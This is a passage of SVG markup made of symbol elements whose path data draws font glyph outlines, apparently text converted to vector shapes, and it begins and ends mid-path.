-11.203125 0.757812 -11.78125 0.96875 -12.25 C 1.175781 -12.71875 1.457031 -13.101562 1.8125 -13.40625 C 2.175781 -13.707031 2.601562 -13.925781 3.09375 -14.0625 C 3.59375 -14.207031 4.125 -14.28125 4.6875 -14.28125 C 5.363281 -14.28125 5.992188 -14.210938 6.578125 -14.078125 C 7.160156 -13.941406 7.648438 -13.765625 8.046875 -13.546875 L 7.265625 -11.3125 C 7.035156 -11.476562 6.695312 -11.625 6.25 -11.75 C 5.800781 -11.882812 5.316406 -11.953125 4.796875 -11.953125 C 4.273438 -11.953125 3.875 -11.84375 3.59375 -11.625 C 3.320312 -11.414062 3.1875 -11.109375 3.1875 -10.703125 C 3.1875 -10.328125 3.3125 -9.992188 3.5625 -9.703125 C 3.8125 -9.421875 4.125 -9.144531 4.5 -8.875 C 4.882812 -8.613281 5.300781 -8.335938 5.75 -8.046875 C 6.195312 -7.765625 6.609375 -7.429688 6.984375 -7.046875 C 7.367188 -6.671875 7.6875 -6.222656 7.9375 -5.703125 C 8.1875 -5.191406 8.3125 -4.582031 8.3125 -3.875 C 8.3125 -3.164062 8.207031 -2.550781 8 -2.03125 C 7.800781 -1.519531 7.507812 -1.09375 7.125 -0.75 C 6.75 -0.40625 6.289062 -0.148438 5.75 0.015625 C 5.21875 0.191406 4.628906 0.28125 3.984375 0.28125 C 3.148438 0.28125 2.421875 0.195312 1.796875 0.03125 C 1.179688 -0.125 0.707031 -0.300781 0.375 -0.5 L 1.203125 -2.765625 C 1.460938 -2.597656 1.828125 -2.4375 2.296875 -2.28125 C 2.765625 -2.125 3.265625 -2.046875 3.796875 -2.046875 C 5.128906 -2.046875 5.796875 -2.5625 5.796875 -3.59375 Z M 5.796875 -3.59375"/></symbol><symbol overflow="visible" id="T"><path d="M 0.875 -9.40625 C 1.28125 -9.644531 1.78125 -9.835938 2.375 -9.984375 C 2.976562 -10.128906 3.660156 -10.203125 4.421875 -10.203125 C 5.554688 -10.203125 6.34375 -9.90625 6.78125 -9.3125 C 7.226562 -8.726562 7.453125 -7.894531 7.453125 -6.8125 C 7.453125 -6.1875 7.4375 -5.570312 7.40625 -4.96875 C 7.375 -4.363281 7.347656 -3.769531 7.328125 -3.1875 C 7.316406 -2.601562 7.328125 -2.039062 7.359375 -1.5 C 7.398438 -0.96875 7.492188 -0.460938 7.640625 0.015625 L 5.703125 0.015625 L 5.3125 -1.203125 L 5.234375 -1.203125 C 5.023438 -0.816406 4.726562 -0.492188 4.34375 -0.234375 C 3.957031 0.015625 3.46875 0.140625 2.875 0.140625 C 2.09375 0.140625 1.472656 -0.117188 1.015625 -0.640625 C 0.566406 -1.171875 0.34375 -1.878906 0.34375 -2.765625 C 0.34375 -3.960938 0.769531 -4.8125 1.625 -5.3125 C 2.476562 -5.820312 3.628906 -6.035156 5.078125 -5.953125 C 5.148438 -6.734375 5.101562 -7.296875 4.9375 -7.640625 C 4.769531 -7.984375 4.410156 -8.15625 3.859375 -8.15625 C 3.460938 -8.15625 3.050781 -8.109375 2.625 -8.015625 C 2.195312 -7.921875 1.816406 -7.789062 1.484375 -7.625 Z M 3.734375 -1.90625 C 4.097656 -1.90625 4.390625 -1.992188 4.609375 -2.171875 C 4.835938 -2.347656 5.007812 -2.546875 5.125 -2.765625 L 5.125 -4.421875 C 4.8125 -4.460938 4.515625 -4.46875 4.234375 -4.4375 C 3.953125 -4.414062 3.707031 -4.359375 3.5 -4.265625 C 3.289062 -4.171875 3.117188 -4.03125 2.984375 -3.84375 C 2.859375 -3.664062 2.796875 -3.4375 2.796875 -3.15625 C 2.796875 -2.75 2.878906 -2.4375 3.046875 -2.21875 C 3.210938 -2.007812 3.441406 -1.90625 3.734375 -1.90625 Z M 3.734375 -1.90625"/></symbol><symbol overflow="visible" id="k"><path d="M 1.0625 -1.671875 C 1.289062 -1.515625 1.609375 -1.367188 2.015625 -1.234375 C 2.429688 -1.097656 2.90625 -1.03125 3.4375 -1.03125 C 4.113281 -1.03125 4.660156 -1.191406 5.078125 -1.515625 C 5.492188 -1.847656 5.703125 -2.367188 5.703125 -3.078125 C 5.703125 -3.546875 5.582031 -3.953125 5.34375 -4.296875 C 5.101562 -4.648438 4.800781 -4.972656 4.4375 -5.265625 C 4.082031 -5.554688 3.695312 -5.84375 3.28125 -6.125 C 2.863281 -6.40625 2.472656 -6.71875 2.109375 -7.0625 C 1.753906 -7.40625 1.457031 -7.796875 1.21875 -8.234375 C 0.976562 -8.679688 0.859375 -9.21875 0.859375 -9.84375 C 0.859375 -10.851562 1.160156 -11.597656 1.765625 -12.078125 C 2.378906 -12.566406 3.171875 -12.8125 4.140625 -12.8125 C 4.742188 -12.8125 5.273438 -12.753906 5.734375 -12.640625 C 6.203125 -12.535156 6.582031 -12.398438 6.875 -12.234375 L 6.4375 -11.046875 C 6.226562 -11.179688 5.921875 -11.300781 5.515625 -11.40625 C 5.109375 -11.519531 4.644531 -11.578125 4.125 -11.578125 C 3.476562 -11.578125 3 -11.414062 2.6875 -11.09375 C 2.375 -10.78125 2.21875 -10.382812 2.21875 -9.90625 C 2.21875 -9.476562 2.335938 -9.101562 2.578125 -8.78125 C 2.816406 -8.457031 3.113281 -8.148438 3.46875 -7.859375 C 3.832031 -7.578125 4.21875 -7.285156 4.625 -6.984375 C 5.039062 -6.691406 5.429688 -6.363281 5.796875 -6 C 6.160156 -5.644531 6.460938 -5.238281 6.703125 -4.78125 C 6.941406 -4.332031 7.0625 -3.796875 7.0625 -3.171875 C 7.0625 -2.109375 6.75 -1.273438 6.125 -0.671875 C 5.5 -0.078125 4.613281 0.21875 3.46875 0.21875 C 2.75 0.21875 2.160156 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.671875"/></symbol><symbol overflow="visible" id="l"><path d="M 0.15625 -9 L 1.265625 -9 L 1.265625 -10.78125 L 2.5625 -11.203125 L 2.5625 -9 L 4.5 -9 L 4.5 -7.828125 L 2.5625 -7.828125 L 2.5625 -2.46875 C 2.5625 -1.9375 2.625 -1.550781 2.75 -1.3125 C 2.875 -1.082031 3.078125 -0.96875 3.359375 -0.96875 C 3.597656 -0.96875 3.804688 -0.992188 3.984375 -1.046875 C 4.160156 -1.109375 4.347656 -1.179688 4.546875 -1.265625 L 4.8125 -0.234375 C 4.539062 -0.0976562 4.242188 0.00390625 3.921875 0.078125 C 3.609375 0.160156 3.28125 0.203125 2.9375 0.203125 C 2.332031 0.203125 1.898438 0.0078125 1.640625 -0.375 C 1.390625 -0.769531 1.265625 -1.40625 1.265625 -2.28125 L 1.265625 -7.828125 L 0.15625 -7.828125 Z M 0.15625 -9"/></symbol><symbol overflow="visible" id="m"><path d="M 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.429688 -8.390625 2.648438 -8.660156 2.921875 -8.859375 C 3.191406 -9.054688 3.519531 -9.15625 3.90625 -9.15625 C 4.175781 -9.15625 4.488281 -9.101562 4.84375 -9 L 4.59375 -7.6875 C 4.28125 -7.789062 4.003906 -7.84375 3.765625 -7.84375 C 3.378906 -7.84375 3.066406 -7.734375 2.828125 -7.515625 C 2.585938 -7.296875 2.429688 -7 2.359375 -6.625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9"/></symbol><symbol overflow="visible" id="n"><path d="M 6.4375 -0.609375 C 6.15625 -0.347656 5.789062 -0.144531 5.34375 0 C 4.90625 0.144531 4.4375 0.21875 3.9375 0.21875 C 3.375 0.21875 2.882812 0.109375 2.46875 -0.109375 C 2.0625 -0.335938 1.722656 -0.65625 1.453125 -1.0625 C 1.179688 -1.476562 0.984375 -1.972656 0.859375 -2.546875 C 0.734375 -3.128906 0.671875 -3.78125 0.671875 -4.5 C 0.671875 -6.03125 0.953125 -7.195312 1.515625 -8 C 2.078125 -8.8125 2.875 -9.21875 3.90625 -9.21875 C 4.238281 -9.21875 4.570312 -9.175781 4.90625 -9.09375 C 5.238281 -9.007812 5.535156 -8.835938 5.796875 -8.578125 C 6.054688 -8.328125 6.265625 -7.972656 6.421875 -7.515625 C 6.585938 -7.066406 6.671875 -6.472656 6.671875 -5.734375 C 6.671875 -5.535156 6.660156 -5.316406 6.640625 -5.078125 C 6.628906 -4.847656 6.613281 -4.609375 6.59375 -4.359375 L 2.015625 -4.359375 C 2.015625 -3.835938 2.054688 -3.367188 2.140625 -2.953125 C 2.222656 -2.535156 2.351562 -2.175781 2.53125 -1.875 C 2.71875 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.515625 -1.03125 3.863281 -0.953125 4.28125 -0.953125 C 4.601562 -0.953125 4.921875 -1.007812 5.234375 -1.125 C 5.554688 -1.25 5.800781 -1.394531 5.96875 -1.5625 Z M 5.4375 -5.4375 C 5.457031 -6.332031 5.328125 -6.988281 5.046875 -7.40625 C 4.773438 -7.832031 4.398438 -8.046875 3.921875 -8.046875 C 3.367188 -8.046875 2.929688 -7.832031 2.609375 -7.40625 C 2.285156 -6.988281 2.09375 -6.332031 2.03125 -5.4375 Z M 5.4375 -5.4375"/></symbol><symbol overflow="visible" id="p"><path d="M 0.96875 -8.453125 C 1.320312 -8.671875 1.742188 -8.835938 2.234375 -8.953125 C 2.734375 -9.078125 3.257812 -9.140625 3.8125 -9.140625 C 4.320312 -9.140625 4.726562 -9.0625 5.03125 -8.90625 C 5.332031 -8.757812 5.570312 -8.554688 5.75 -8.296875 C 5.925781 -8.046875 6.039062 -7.753906 6.09375 -7.421875 C 6.144531 -7.097656 6.171875 -6.753906 6.171875 -6.390625 C 6.171875 -5.671875 6.15625 -4.96875 6.125 -4.28125 C 6.09375 -3.601562 6.078125 -2.957031 6.078125 -2.34375 C 6.078125 -1.882812 6.09375 -1.457031 6.125 -1.0625 C 6.15625 -0.675781 6.210938 -0.3125 6.296875 0.03125 L 5.3125 0.03125 L 5 -1.03125 L 4.9375 -1.03125 C 4.75 -0.71875 4.484375 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.328125 0.125 2.734375 0.125 C 2.085938 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.722656 -0.992188 0.515625 -1.613281 0.515625 -2.40625 C 0.515625 -2.925781 0.601562 -3.359375 0.78125 -3.703125 C 0.957031 -4.054688 1.203125 -4.335938 1.515625 -4.546875 C 1.835938 -4.765625 2.21875 -4.914062 2.65625 -5 C 3.09375 -5.09375 3.582031 -5.140625 4.125 -5.140625 C 4.238281 -5.140625 4.351562 -5.140625 4.46875 -5.140625 C 4.59375 -5.140625 4.722656 -5.132812 4.859375 -5.125 C 4.890625 -5.5 4.90625 -5.832031 4.90625 -6.125 C 4.90625 -6.800781 4.800781 -7.273438 4.59375 -7.546875 C 4.394531 -7.828125 4.023438 -7.96875 3.484375 -7.96875 C 3.148438 -7.96875 2.785156 -7.914062 2.390625 -7.8125 C 1.992188 -7.71875 1.664062 -7.59375 1.40625 -7.4375 Z M 4.875 -4.109375 C 4.757812 -4.117188 4.640625 -4.125 4.515625 -4.125 C 4.398438 -4.132812 4.28125 -4.140625 4.15625 -4.140625 C 3.863281 -4.140625 3.578125 -4.113281 3.296875 -4.0625 C 3.023438 -4.019531 2.78125 -3.9375 2.5625 -3.8125 C 2.351562 -3.695312 2.1875 -3.535156 2.0625 -3.328125 C 1.9375 -3.128906 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.757812 -1.046875 3.125 -1.046875 C 3.632812 -1.046875 4.023438 -1.164062 4.296875 -1.40625 C 4.578125 -1.644531 4.769531 -1.910156 4.875 -2.203125 Z M 4.875 -4.109375"/></symbol><symbol overflow="visible" id="q"><path d="M 6.734375 -3.09375 C 6.734375 -2.476562 6.738281 -1.921875 6.75 -1.421875 C 6.757812 -0.929688 6.800781 -0.445312 6.875 0.03125 L 6 0.03125 L 5.703125 -1.046875 L 5.640625 -1.046875 C 5.460938 -0.679688 5.191406 -0.378906 4.828125 -0.140625 C 4.472656 0.0976562 4.046875 0.21875 3.546875 0.21875 C 2.578125 0.21875 1.851562 -0.15625 1.375 -0.90625 C 0.90625 -1.664062 0.671875 -2.859375 0.671875 -4.484375 C 0.671875 -6.015625 0.957031 -7.175781 1.53125 -7.96875 C 2.113281 -8.757812 2.914062 -9.15625 3.9375 -9.15625 C 4.289062 -9.15625 4.566406 -9.132812 4.765625 -9.09375 C 4.972656 -9.050781 5.195312 -8.984375 5.4375 -8.890625 L 5.4375 -12.59375 L 6.734375 -12.59375 Z M 5.4375 -7.578125 C 5.269531 -7.722656 5.078125 -7.828125 4.859375 -7.890625 C 4.648438 -7.953125 4.375 -7.984375 4.03125 -7.984375 C 3.394531 -7.984375 2.898438 -7.695312 2.546875 -7.125 C 2.191406 -6.550781 2.015625 -5.664062 2.015625 -4.46875 C 2.015625 -3.9375 2.046875 -3.457031 2.109375 -3.03125 C 2.179688 -2.601562 2.285156 -2.234375 2.421875 -1.921875 C 2.554688 -1.609375 2.734375 -1.367188 2.953125 -1.203125 C 3.179688 -1.035156 3.457031 -0.953125 3.78125 -0.953125 C 4.644531 -0.953125 5.195312 -1.460938 5.4375 -2.484375 Z M 5.4375 -7.578125"/></symbol><symbol overflow="visible" id="r"><path d="M 0.921875 -1.46875 C 1.160156 -1.332031 1.441406 -1.210938 1.765625 -1.109375 C 2.097656 -1.003906 2.441406 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.523438 -1.050781 3.796875 -1.25 C 4.078125 -1.445312 4.21875 -1.769531 4.21875 -2.21875 C 4.21875 -2.582031 4.128906 -2.882812 3.953125 -3.125 C 3.785156 -3.363281 3.570312 -3.578125 3.3125 -3.765625 C 3.0625 -3.960938 2.785156 -4.140625 2.484375 -4.296875 C 2.179688 -4.460938 1.898438 -4.660156 1.640625 -4.890625 C 1.390625 -5.117188 1.175781 -5.390625 1 -5.703125 C 0.832031 -6.015625 0.75 -6.410156 0.75 -6.890625 C 0.75 -7.660156 0.957031 -8.238281 1.375 -8.625 C 1.789062 -9.019531 2.375 -9.21875 3.125 -9.21875 C 3.625 -9.21875 4.050781 -9.171875 4.40625 -9.078125 C 4.769531 -8.992188 5.082031 -8.875 5.34375 -8.71875 L 5 -7.625 C 4.769531 -7.75 4.503906 -7.847656 4.203125 -7.921875 C 3.910156 -8.003906 3.609375 -8.046875 3.296875 -8.046875 C 2.859375 -8.046875 2.539062 -7.953125 2.34375 -7.765625 C 2.144531 -7.585938 2.046875 -7.3125 2.046875 -6.9375 C 2.046875 -6.632812 2.128906 -6.375 2.296875 -6.15625 C 2.472656 -5.945312 2.6875 -5.753906 2.9375 -5.578125 C 3.195312 -5.410156 3.476562 -5.234375 3.78125 -5.046875 C 4.082031 -4.867188 4.359375 -4.65625 4.609375 -4.40625 C 4.867188 -4.164062 5.082031 -3.875 5.25 -3.53125 C 5.425781 -3.195312 5.515625 -2.769531 5.515625 -2.25 C 5.515625 -1.914062 5.457031 -1.597656 5.34375 -1.296875 C 5.238281 -0.992188 5.070312 -0.734375 4.84375 -0.515625 C 4.625 -0.296875 4.347656 -0.117188 4.015625 0.015625 C 3.691406 0.148438 3.304688 0.21875 2.859375 0.21875 C 2.328125 0.21875 1.867188 0.164062 1.484375 0.0625 C 1.109375 -0.0390625 0.785156 -0.175781 0.515625 -0.34375 Z M 0.921875 -1.46875"/></symbol><symbol overflow="visible" id="s"><path d="M 0.640625 -0.78125 C 0.640625 -1.070312 0.726562 -1.304688 0.90625 -1.484375 C 1.082031 -1.671875 1.304688 -1.765625 1.578125 -1.765625 C 1.890625 -1.765625 2.144531 -1.640625 2.34375 -1.390625 C 2.539062 -1.140625 2.640625 -0.742188 2.640625 -0.203125 C 2.640625 0.191406 2.585938 0.546875 2.484375 0.859375 C 2.390625 1.179688 2.257812 1.460938 2.09375 1.703125 C 1.9375 1.941406 1.757812 2.140625 1.5625 2.296875 C 1.375 2.453125 1.191406 2.566406 1.015625 2.640625 L 0.5625 2.03125 C 0.71875 1.945312 0.863281 1.835938 1 1.703125 C 1.132812 1.566406 1.242188 1.410156 1.328125 1.234375 C 1.421875 1.066406 1.492188 0.890625 1.546875 0.703125 C 1.597656 0.523438 1.625 0.34375 1.625 0.15625 C 1.382812 0.226562 1.160156 0.179688 0.953125 0.015625 C 0.742188 -0.148438 0.640625 -0.414062 0.640625 -0.78125 Z M 0.640625 -0.78125"/></symbol><symbol overflow="visible" id="t"><path d="M 1.15625 -12.46875 C 1.539062 -12.582031 1.945312 -12.65625 2.375 -12.6875 C 2.8125 -12.726562 3.238281 -12.75 3.65625 -12.75 C 4.132812 -12.75 4.609375 -12.691406 5.078125 -12.578125 C 5.546875 -12.472656 5.96875 -12.273438 6.34375 -11.984375 C 6.71875 -11.703125 7.019531 -11.304688 7.25 -10.796875 C 7.488281 -10.296875 7.609375 -9.65625 7.609375 -8.875 C 7.609375 -8.113281 7.5 -7.46875 7.28125 -6.9375 C 7.0625 -6.414062 6.765625 -5.988281 6.390625 -5.65625 C 6.023438 -5.332031 5.601562 -5.09375 5.125 -4.9375 C 4.65625 -4.789062 4.171875 -4.71875 3.671875 -4.71875 C 3.617188 -4.71875 3.539062 -4.71875 3.4375 -4.71875 C 3.332031 -4.71875 3.21875 -4.71875 3.09375 -4.71875 C 2.976562 -4.726562 2.863281 -4.738281 2.75 -4.75 C 2.632812 -4.757812 2.550781 -4.769531 2.5 -4.78125 L 2.5 0 L 1.15625 0 Z M 3.71875 -11.5 C 3.476562 -11.5 3.25 -11.488281 3.03125 -11.46875 C 2.8125 -11.457031 2.632812 -11.429688 2.5 -11.390625 L 2.5 -6.03125 C 2.550781 -6.007812 2.625 -5.992188 2.71875 -5.984375 C 2.820312 -5.972656 2.925781 -5.960938 3.03125 -5.953125 C 3.144531 -5.953125 3.253906 -5.953125 3.359375 -5.953125 C 3.460938 -5.953125 3.535156 -5.953125 3.578125 -5.953125 C 3.921875 -5.953125 4.242188 -5.992188 4.546875 -6.078125 C 4.859375 -6.160156 5.132812 -6.3125 5.375 -6.53125 C 5.613281 -6.757812 5.804688 -7.0625 5.953125 -7.4375 C 6.109375 -7.820312 6.1875 -8.300781 6.1875 -8.875 C 6.1875 -9.375 6.117188 -9.789062 5.984375 -10.125 C 5.847656 -10.46875 5.664062 -10.738281 5.4375 -10.9375 C 5.21875 -11.144531 4.957031 -11.289062 4.65625 -11.375 C 4.363281 -11.457031 4.050781 -11.5 3.71875 -11.5 Z M 3.71875 -11.5"/></symbol><symbol overflow="visible" id="u"><path d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.726562 1.328125 -1.8125 1.609375 -1.8125 C 1.878906 -1.8125 2.09375 -1.726562 2.25 -1.5625 C 2.414062 -1.394531 2.5 -1.144531 2.5 -0.8125 C 2.5 -0.457031 2.414062 -0.195312 2.25 -0.03125 C 2.09375 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125"/></symbol><symbol overflow="visible" id="v"><path d="M 0.78125 -6.296875 C 0.78125 -8.429688 1.117188 -10.050781 1.796875 -11.15625 C 2.484375 -12.257812 3.53125 -12.8125 4.9375 -12.8125 C 5.6875 -12.8125 6.328125 -12.65625 6.859375 -12.34375 C 7.390625 -12.039062 7.816406 -11.609375 8.140625 -11.046875 C 8.472656 -10.484375 8.71875 -9.800781 8.875 -9 C 9.03125 -8.195312 9.109375 -7.296875 9.109375 -6.296875 C 9.109375 -4.160156 8.757812 -2.539062 8.0625 -1.4375 C 7.375 -0.332031 6.332031 0.21875 4.9375 0.21875 C 4.1875 0.21875 3.546875 0.0664062 3.015625 -0.234375 C 2.492188 -0.546875 2.0625 -0.984375 1.71875 -1.546875 C 1.382812 -2.109375 1.144531 -2.789062 1 -3.59375 C 0.851562 -4.40625 0.78125 -5.304688 0.78125 -6.296875 Z M 2.203125 -6.296875 C 2.203125 -5.585938 2.25 -4.914062 2.34375 -4.28125 C 2.445312 -3.644531 2.609375 -3.085938 2.828125 -2.609375 C 3.046875 -2.128906 3.328125 -1.742188 3.671875 -1.453125 C 4.015625 -1.171875 4.4375 -1.03125 4.9375 -1.03125 C 5.832031 -1.03125 6.515625 -1.460938 6.984375 -2.328125 C 7.453125 -3.191406 7.6875 -4.515625 7.6875 -6.296875 C 7.6875 -6.992188 7.632812 -7.660156 7.53125 -8.296875 C 7.425781 -8.929688 7.265625 -9.488281 7.046875 -9.96875 C 6.835938 -10.457031 6.554688 -10.847656 6.203125 -11.140625 C 5.859375 -11.429688 5.4375 -11.578125 4.9375 -11.578125 C 4.039062 -11.578125 3.359375 -11.144531 2.890625 -10.28125 C 2.429688 -9.414062 2.203125 -8.085938 2.203125 -6.296875 Z M 2.203125 -6.296875"/></symbol><symbol overflow="visible" id="w"><path d="M 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.3125 L 2.40625 -8.3125 C 2.90625 -8.914062 3.5625 -9.21875 4.375 -9.21875 C 5.300781 -9.21875 5.992188 -8.847656 6.453125 -8.109375 C 6.910156 -7.378906 7.140625 -6.222656 7.140625 -4.640625 C 7.140625 -3.023438 6.832031 -1.820312 6.21875 -1.03125 C 5.601562 -0.238281 4.726562 0.15625 3.59375 0.15625 C 3.039062 0.15625 2.535156 0.09375 2.078125 -0.03125 C 1.628906 -0.15625 1.289062 -0.300781 1.0625 -0.46875 Z M 2.359375 -1.3125 C 2.523438 -1.21875 2.726562 -1.144531 2.96875 -1.09375 C 3.21875 -1.039062 3.484375 -1.015625 3.765625 -1.015625 C 4.390625 -1.015625 4.882812 -1.3125 5.25 -1.90625 C 5.613281 -2.5 5.796875 -3.410156 5.796875 -4.640625 C 5.796875 -5.160156 5.757812 -5.625 5.6875 -6.03125 C 5.625 -6.445312 5.523438 -6.804688 5.390625 -7.109375 C 5.253906 -7.410156 5.070312 -7.640625 4.84375 -7.796875 C 4.625 -7.960938 4.359375 -8.046875 4.046875 -8.046875 C 3.617188 -8.046875 3.265625 -7.914062 2.984375 -7.65625 C 2.703125 -7.394531 2.492188 -7.046875 2.359375 -6.609375 Z M 2.359375 -1.3125"/></symbol><symbol overflow="visible" id="x"><path d="M 0.671875 -4.5 C 0.671875 -6.125 0.945312 -7.316406 1.5 -8.078125 C 2.0625 -8.835938 2.859375 -9.21875 3.890625 -9.21875 C 4.992188 -9.21875 5.804688 -8.828125 6.328125 -8.046875 C 6.847656 -7.265625 7.109375 -6.082031 7.109375 -4.5 C 7.109375 -2.863281 6.828125 -1.664062 6.265625 -0.90625 C 5.703125 -0.15625 4.910156 0.21875 3.890625 0.21875 C 2.785156 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.914062 0.671875 -4.5 Z M 2.015625 -4.5 C 2.015625 -3.96875 2.046875 -3.484375 2.109375 -3.046875 C 2.179688 -2.617188 2.289062 -2.25 2.4375 -1.9375 C 2.582031 -1.625 2.773438 -1.378906 3.015625 -1.203125 C 3.265625 -1.035156 3.554688 -0.953125 3.890625 -0.953125 C 4.515625 -0.953125 4.984375 -1.226562 5.296875 -1.78125 C 5.609375 -2.34375 5.765625 -3.25 5.765625 -4.5 C 5.765625 -5.019531 5.726562 -5.5 5.65625 -5.9375 C 5.59375 -6.375 5.484375 -6.75 5.328125 -7.0625 C 5.179688 -7.375 4.988281 -7.613281 4.75 -7.78125 C 4.507812 -7.957031 4.222656 -8.046875 3.890625 -8.046875 C 3.273438 -8.046875 2.804688 -7.765625 2.484375 -7.203125 C 2.171875 -6.640625 2.015625 -5.738281 2.015625 -4.5 Z M 2.015625 -4.5"/></symbol><symbol overflow="visible" id="y"><path d="M 2.890625 -4.609375 L 0.515625 -9 L 2.0625 -9 L 3.40625 -6.421875 L 3.765625 -5.421875 L 4.140625 -6.421875 L 5.515625 -9 L 6.9375 -9 L 4.53125 -4.6875 L 7.078125 0 L 5.59375 0 L 4.09375 -2.828125 L 3.6875 -3.90625 L 3.28125 -2.828125 L 1.765625 0 L 0.34375 0 Z M 2.890625 -4.609375"/></symbol><symbol overflow="visible" id="z"><path d="M 6.03125 -0.453125 C 5.726562 -0.222656 5.382812 -0.0546875 5 0.046875 C 4.613281 0.160156 4.210938 0.21875 3.796875 0.21875 C 3.222656 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.65625 1.375 -1.0625 C 1.132812 -1.476562 0.957031 -1.976562 0.84375 -2.5625 C 0.726562 -3.144531 0.671875 -3.789062 0.671875 -4.5 C 0.671875 -6.03125 0.941406 -7.195312 1.484375 -8 C 2.023438 -8.8125 2.804688 -9.21875 3.828125 -9.21875 C 4.296875 -9.21875 4.695312 -9.175781 5.03125 -9.09375 C 5.375 -9.007812 5.664062 -8.898438 5.90625 -8.765625 L 5.546875 -7.625 C 5.066406 -7.90625 4.546875 -8.046875 3.984375 -8.046875 C 3.328125 -8.046875 2.832031 -7.757812 2.5 -7.1875 C 2.175781 -6.625 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -4.007812 2.050781 -3.546875 2.125 -3.109375 C 2.195312 -2.679688 2.316406 -2.304688 2.484375 -1.984375 C 2.648438 -1.671875 2.863281 -1.421875 3.125 -1.234375 C 3.394531 -1.046875 3.726562 -0.953125 4.125 -0.953125 C 4.4375 -0.953125 4.726562 -1.003906 5 -1.109375 C 5.269531 -1.222656 5.488281 -1.351562 5.65625 -1.5 Z M 6.03125 -0.453125"/></symbol><symbol overflow="visible" id="A"><path d="M 5.28125 0 L 5.28125 -5.34375 C 5.28125 -5.820312 5.265625 -6.234375 5.234375 -6.578125 C 5.203125 -6.921875 5.132812 -7.195312 5.03125 -7.40625 C 4.9375 -7.625 4.804688 -7.785156 4.640625 -7.890625 C 4.472656 -7.992188 4.253906 -8.046875 3.984375 -8.046875 C 3.566406 -8.046875 3.21875 -7.882812 2.9375 -7.5625 C 2.65625 -7.25 2.460938 -6.890625 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.515625 -8.390625 2.8125 -8.671875 3.15625 -8.890625 C 3.507812 -9.109375 3.957031 -9.21875 4.5 -9.21875 C 4.957031 -9.21875 5.332031 -9.117188 5.625 -8.921875 C 5.914062 -8.722656 6.144531 -8.367188 6.3125 -7.859375 C 6.53125 -8.285156 6.835938 -8.617188 7.234375 -8.859375 C 7.640625 -9.097656 8.082031 -9.21875 8.5625 -9.21875 C 8.957031 -9.21875 9.296875 -9.164062 9.578125 -9.0625 C 9.867188 -8.957031 10.097656 -8.773438 10.265625 -8.515625 C 10.441406 -8.265625 10.570312 -7.925781 10.65625 -7.5 C 10.738281 -7.070312 10.78125 -6.535156 10.78125 -5.890625 L 10.78125 0 L 9.484375 0 L 9.484375 -5.71875 C 9.484375 -6.5 9.40625 -7.082031 9.25 -7.46875 C 9.101562 -7.851562 8.757812 -8.046875 8.21875 -8.046875 C 7.769531 -8.046875 7.410156 -7.90625 7.140625 -7.625 C 6.867188 -7.34375 6.675781 -6.960938 6.5625 -6.484375 L 6.5625 0 Z M 5.28125 0"/></symbol><symbol overflow="visible" id="B"><path d="M 1.0625 -9 L 1.984375 -9 L 2.171875 -8.03125 L 2.25 -8.03125 C 2.695312 -8.820312 3.394531 -9.21875 4.34375 -9.21875 C 5.289062 -9.21875 6 -8.863281 6.46875 -8.15625 C 6.945312 -7.445312 7.1875 -6.289062 7.1875 -4.6875 C 7.1875 -3.925781 7.109375 -3.242188 6.953125 -2.640625 C 6.796875 -2.035156 6.570312 -1.519531 6.28125 -1.09375 C 5.988281 -0.664062 5.632812 -0.335938 5.21875 -0.109375 C 4.8125 0.109375 4.359375 0.21875 3.859375 0.21875 C 3.503906 0.21875 3.222656 0.195312 3.015625 0.15625 C 2.816406 0.113281 2.597656 0.0234375 2.359375 -0.109375 L 2.359375 3.59375 L 1.0625 3.59375 Z M 2.359375 -1.421875 C 2.523438 -1.273438 2.710938 -1.160156 2.921875 -1.078125 C 3.128906 -0.992188 3.410156 -0.953125 3.765625 -0.953125 C 4.398438 -0.953125 4.898438 -1.273438 5.265625 -1.921875 C 5.640625 -2.566406 5.828125 -3.492188 5.828125 -4.703125 C 5.828125 -5.203125 5.796875 -5.65625 5.734375 -6.0625 C 5.671875 -6.46875 5.566406 -6.816406 5.421875 -7.109375 C 5.273438 -7.410156 5.085938 -7.640625 4.859375 -7.796875 C 4.640625 -7.960938 4.367188 -8.046875 4.046875 -8.046875 C 3.171875 -8.046875 2.609375 -7.507812 2.359375 -6.4375 Z M 2.359375 -1.421875"/></symbol><symbol overflow="visible" id="C"><path d="M 5.671875 0 L 5.671875 -5.484375 C 5.671875 -6.390625 5.566406 -7.039062 5.359375 -7.4375 C 5.148438 -7.84375 4.773438 -8.046875 4.234375 -8.046875 C 3.753906 -8.046875 3.359375 -7.898438 3.046875 -7.609375 C 2.734375 -7.328125 2.503906 -6.972656 2.359375 -6.546875 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 2 -9 L 2.234375 -8.046875 L 2.28125 -8.046875 C 2.507812 -8.367188 2.816406 -8.644531 3.203125 -8.875 C 3.597656 -9.101562 4.066406 -9.21875 4.609375 -9.21875 C 4.992188 -9.21875 5.332031 -9.160156 5.625 -9.046875 C 5.914062 -8.941406 6.160156 -8.757812 6.359375 -8.5 C 6.554688 -8.25 6.707031 -7.90625 6.8125 -7.46875 C 6.914062 -7.039062 6.96875 -6.492188 6.96875 -5.828125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="D"><path d="M 